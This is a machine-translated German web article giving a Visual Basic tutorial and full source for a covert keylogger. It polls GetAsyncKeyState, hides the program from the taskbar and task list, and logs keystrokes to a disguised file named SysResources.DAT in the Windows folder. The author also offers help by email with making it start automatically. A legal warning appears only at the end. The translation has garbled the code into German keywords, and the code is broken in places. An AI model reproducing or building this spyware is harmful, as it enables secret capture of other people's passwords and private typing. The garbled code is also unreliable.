This is a machine translation. The original page (in English) is available here.
Windows
Mac OS
Mobile

Neueste news: September 19th, 2016 - Wir haben Hinzugefügt, neue Kategorien für die überwachung der Produkte Test: Mikrofon-und Webcam-Aufnahmen, usw... RSS-Feed

Home>Artikel>Erstellen einen Tasten-Rekorder in VB

AnyKeylogger für Mac

Erstellen Sie einen Tasten-Rekorder in VB

von Silent Shadow

Ok...ich gehe davon aus, dass Sie ein grundlegendes Verständnis, wie visual basic funktioniert und wie man Programme, Debuggen und kompilieren. Wenn nicht, mailen Sie mir und ich könnte in der Lage sein zu helfen.

Erstens, wenn Sie es nicht haben, bekommen es. ApiGuide. Laden Sie es auf http://www.mentalis.org/agnet/apiguide.shtml

Ok. Öffnen VB und starten eine neue Anwendung. Fügen Sie dem Formular eine Schaltfläche, ein timer und ein Modul(ich weiß, das Modul ist nicht eigentlich ein Teil der form). Das ist alles. Dort ändern Beschriftung der Schaltfläche, um die Datenaufzeichnung zu Starten
(wenn Sie möchten, um es start auf Start...pm an mich oder email an mich)
Jetzt mit api-guide oder einfach nur das kopieren von hier aus, deklarieren Sie eine neue Funktion. die GetASyncKeyState-Funktion

Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"
(ByVal vKey As Long) As Integer

^---dies in den Deklarationsbereich des Moduls.

Das ist alles eine Zeile code. Stellen Sie sicher, Ihre wie die. und nicht in 2 geteilt.

Jetzt haben Sie eine neue Funktion zu verwenden, durch Ihr Programm.
ok...
jetzt müssen wir es machen werden "unsichtbar". Jetzt im sorry, aber in Windows XP, ich weiß nicht, wie es zu entfernen aus dem Abschnitt "Prozesse" des Task-Manager. Aber anders als das...von den unsichtbaren.

OK. Im code der Schaltfläche..., in das click-Ereignis natürlich...
geben Sie den folgenden

app.taskvisible = false
form1.visible = false
form1.ausblenden
timer1.enabled = true


"und auch im Abschnitt Eigenschaften der form...ändern Sie die shownintaskbar auf false

Wenn wir nun klicken Sie auf die Schaltfläche...es geht unsichtbar.

Jetzt müssen wir ein paar Variablen....
Zurück in die Deklarationen im Abschnitt, deklarieren Sie die folgenden...

Dim strLetter as String, strTotal as String

Jetzt in der timer-code setzen. Erkläre ich Euch danach.
auch stellen Sie das Intervall zu 1 und enabled auf false

Private Sub Timer1_Timer()

Für I = 28 Bis 128

Wenn GetAsyncKeyState <> 0 Then

strLetter = Chr(I)


'Nun, hier können Sie bestimmte Dinge
"so, dass statt der Anzeige
verzögertes Zeichen, es sagt Ihnen,
"das, was der Benutzer gedrückt. Was ich meine
'wenn Sie drücken Sie Enter/Return, es wird
'Zeigen einige seltsame box. Sie wollen nicht, dass
'so u machen Sie eine select case über I für jedes
'Taste u anpassen möchten. PM an mich oder E-Mail
'mich für die Hilfe auf diesem Teil.


strTotal = strTotal & strLetter


End If

Weiter Habe Ich

öffnen "C:\Windows\SysResources.DAT" für die Ausgabe als #1
Print #1, strTotal
close #1

End Sub


'- Ende Code

Alles was Sie jetzt tun müssen, ist, wenn Sie prüfen möchten, die Taste gedrückt halten, öffnen C:\Windows\SysResource.DAT in notepad, und da ist es. Dieses Programm wird nicht ausgeführt beim start. Wenn Sie wissen wollen, wie das geht, PM an mich, sondern am besten eine email an mich. Ich würde viel lieber haben, fügen Sie mich zur Msn-Messenger. Meine E-Mail für messenger ist... [email protected]
Meine E-Mail für E-Mail ist..... [email protected].

Hoffe, das hilft!
Hier ist der gesamte Code für die Lamer...

'ANFANG

Dim strLetter As String, strTotal As String, alt as string

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Private Sub Form_Load()
Command1.Caption = "Start Login"
Timer1.Enabled = False
Timer1.Intervall = 1
End Sub

Private Sub Timer1_Timer()
Für I = 28, 128 'ASCII-code
Wenn GetAsyncKeyState <> 0 Then
strLetter = Chr(I)
End If
Wenn strletter <> Alt
Alt = strletter
strTotal = strTotal & alt
End If
Weiter Habe Ich
Öffnen "C:\windows\SysResources.dat" Für Die Ausgabe Als #1
Print #1, strTotal
Close #1
End Sub

'ENDE

ich denke, das ist es neben dem Modul natürlich.
Lesen Sie den vollständigen Artikel
Home>Artikel>Erstellen einen Tasten-Rekorder in VB
WICHTIG!!!! Installation von computer-monitoring-tools auf Computern, die Sie nicht besitzen oder haben keine Berechtigung zum monitor kann gegen lokale, Staatliche oder bundesstaatliche Gesetz.
Suggest translation